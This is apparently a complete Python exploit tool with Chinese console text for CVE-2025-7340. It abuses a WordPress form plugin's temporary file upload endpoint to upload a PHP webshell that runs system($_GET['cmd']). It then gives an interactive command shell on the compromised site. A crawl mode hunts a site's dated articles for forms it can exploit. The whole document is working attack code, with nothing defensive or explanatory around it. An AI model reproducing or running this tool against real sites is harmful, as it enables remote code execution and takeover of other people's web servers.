import re
import requests
import argparse
import time
import sys
from colorama import init, Fore, Style

init(autoreset=True)

class Nxploited:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome Safari"
        })
        self.nonce = None
        self.ajax_url = None
        self.form_id = None
        self.shell_path = None

    def run(self):
        print(Fore.CYAN + "开始尝试.......")
        time.sleep(1)
        self.fetch_target_page()
        self.extract_parameters()
        self.generate_shell()
        self.upload_shell()
        return self.shell_path

    def fetch_target_page(self):
        print(Fore.YELLOW + "获取目标页面...")
        response = self.session.get(self.target_url)
        if response.status_code != 200:
            raise Exception("无法获取目标页面")
        self.page_content = response.text

    def extract_parameters(self):
        print(Fore.YELLOW + "提取参数...")
        time.sleep(0.8)
        self.nonce = self.extract_nonce()
        self.ajax_url = self.extract_ajax_url()
        self.form_id = self.extract_form_id()

        self.print_info("提取的Nonce", self.nonce, Fore.GREEN)
        time.sleep(0.3)
        self.print_info("AJAX端点", self.ajax_url, Fore.GREEN)
        time.sleep(0.3)
        self.print_info("表单ID", self.form_id, Fore.GREEN)

        if not all([self.nonce, self.ajax_url, self.form_id]):
            raise Exception("缺少必要参数")

    def extract_nonce(self):
        match = re.search(r'"nonce":"([a-f0-9]+)"', self.page_content)
        return match.group(1) if match else None

    def extract_ajax_url(self):
        match = re.search(r'"ajaxurl":"(http[^"]+)"', self.page_content)
        return match.group(1).replace("\\/", "/") if match else None

    def extract_form_id(self):
        match = re.search(r'<form[^>]+data-form-id=["\']?(\d+)', self.page_content)
        return match.group(1) if match else None

    def generate_shell(self):
        print(Fore.YELLOW + "生成webshell...")
        shell_code = """<?php echo "Nxploited<br>";if(isset($_GET['cmd'])){echo "<pre>";system($_GET['cmd']);echo "</pre>";}?>"""
        with open("shell.php", "w") as f:
            f.write(shell_code)

    def upload_shell(self):
        print(Fore.YELLOW + "上传shell，请稍等...")
        time.sleep(1)
        files = {
            "action": (None, "ht_form_temp_file_upload"),
            "_wpnonce": (None, self.nonce),
            "form_id": (None, self.form_id),
            "ht_form_file": ("shell.php", open("shell.php", "rb"), "application/x-php")
        }

        response = self.session.post(self.ajax_url, files=files)
        result = response.json()

        if result.get("success"):
            file_id = result["data"].get("file_id", "")
            self.shell_path = f"wp-content/uploads/ht_form/temp/{file_id}"
            print(Fore.GREEN + Style.BRIGHT + "\n[+] 漏洞利用成功!\n")
            Nxploited.print_info("Webshell地址", self.shell_path, Fore.MAGENTA + Style.BRIGHT)
        else:
            print(Fore.RED + "上传失败或响应异常")

    @staticmethod
    def print_info(label, value, color=Fore.WHITE):
        print(f"{color}{label}: {value}")
        
    def shell_interactive(self, shell_path):
        if not shell_path:
            print(Fore.RED + "无有效shell路径")
            return
            
        base_url = self.target_url.split('/')[0] + '//' + self.target_url.split('/')[2]
        full_url = f"{base_url}/{shell_path}"
        
        print(Fore.GREEN + Style.BRIGHT + "\n[+] 进入shell交互模式，输入'exit'退出！")
        
        while True:
            try:
                cmd = input(Fore.CYAN + "shell> ")
                if cmd.lower() == "exit":
                    print(Fore.YELLOW + "退出交互模式")
                    break
                    
                response = self.session.get(full_url, params={"cmd": cmd})
                
                match = re.search(r'<pre>(.*?)</pre>', response.text, re.DOTALL)
                if match:
                    output = match.group(1).strip()
                    print(output)
                else:
                    print(Fore.RED + "未获取到命令输出")
                    
            except KeyboardInterrupt:
                print(Fore.YELLOW + "\n已终止操作")
                break
            except Exception as e:
                print(Fore.RED + f"执行命令出错: {str(e)}")

def crawl_articles(base_url, date_str):
    year = date_str[:4]
    month = date_str[4:6]
    day = date_str[6:8]
    target_url = f"{base_url.rstrip('/')}/{year}/{month}/{day}/"
    
    print(f"[*] 正在扫描日期: {year}-{month}-{day}")
    print(f"[*] 扫描地址: {target_url}")
    
    try:
        response = requests.get(target_url, verify=False, timeout=10)
        if response.status_code == 200:
            articles = []
            pattern = r'<a\s+href="([^"]+)"[^>]*>(.*?)</a>'
            matches = re.finditer(pattern, response.text, re.DOTALL)
            
            for i, match in enumerate(matches, 1):
                article_url = match.group(1)
                article_title = re.sub(r'<[^>]+>', '', match.group(2)).strip()
                
                if article_url.startswith(f"/{year}/{month}/{day}/") or article_url.startswith(f"{base_url}/{year}/{month}/{day}/"):
                    articles.append(article_url)
                    print(f"[*] 发现文章{i}: {article_title}")
            
            return articles
        else:
            print(f"[*] 无法访问页面，状态码: {response.status_code}")
            return []
    except Exception as e:
        print(f"[*] 请求失败: {e}")
        return []

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-7340 漏洞利用工具",
        usage='''python exp.py -u <目标URL>
       python exp.py -r <目标基础URL>'''
    )
    
    parser.add_argument("-u", "--url", help="指定单个文章URL进行探测")
    parser.add_argument("-r", "--crawl", help="启用爬取模式，自动扫描当天文章")
    
    args = parser.parse_args()

    if not (args.url or args.crawl):
        parser.print_help()
        print("\n使用示例:")
        print("  python exp.py -u http://192.168.119.131:8081/2025/08/04/test-0-1/")
        print("  python exp.py -r http://192.168.119.131:8081")
        return

    if args.crawl:
        default_date = "20250804"
        date_input = input(f"[*] 请输入日期 (默认{default_date}): ").strip() or default_date
        print(f"[*] 使用的日期: {date_input}")
            
        articles = crawl_articles(args.crawl, date_input)
        
        if not articles:
            print("[-] 未发现可利用的文章")
            return
            
        print("[*] 开始漏洞利用...")
        for article_url in articles:
            print(f"\n[*] 正在利用: {article_url}")
            try:
                exploit = Nxploited(article_url)
                shell_path = exploit.run()
                if shell_path:
                    exploit.shell_interactive(shell_path)
                break
            except Exception as e:
                print(f"[-] 利用失败: {e}")
                continue
                
    elif args.url:
        exploit = Nxploited(args.url)
        try:
            shell_path = exploit.run()
            if shell_path:
                exploit.shell_interactive(shell_path)
        except Exception as e:
            print(f"[-] 错误: {e}")

if __name__ == "__main__":
    main()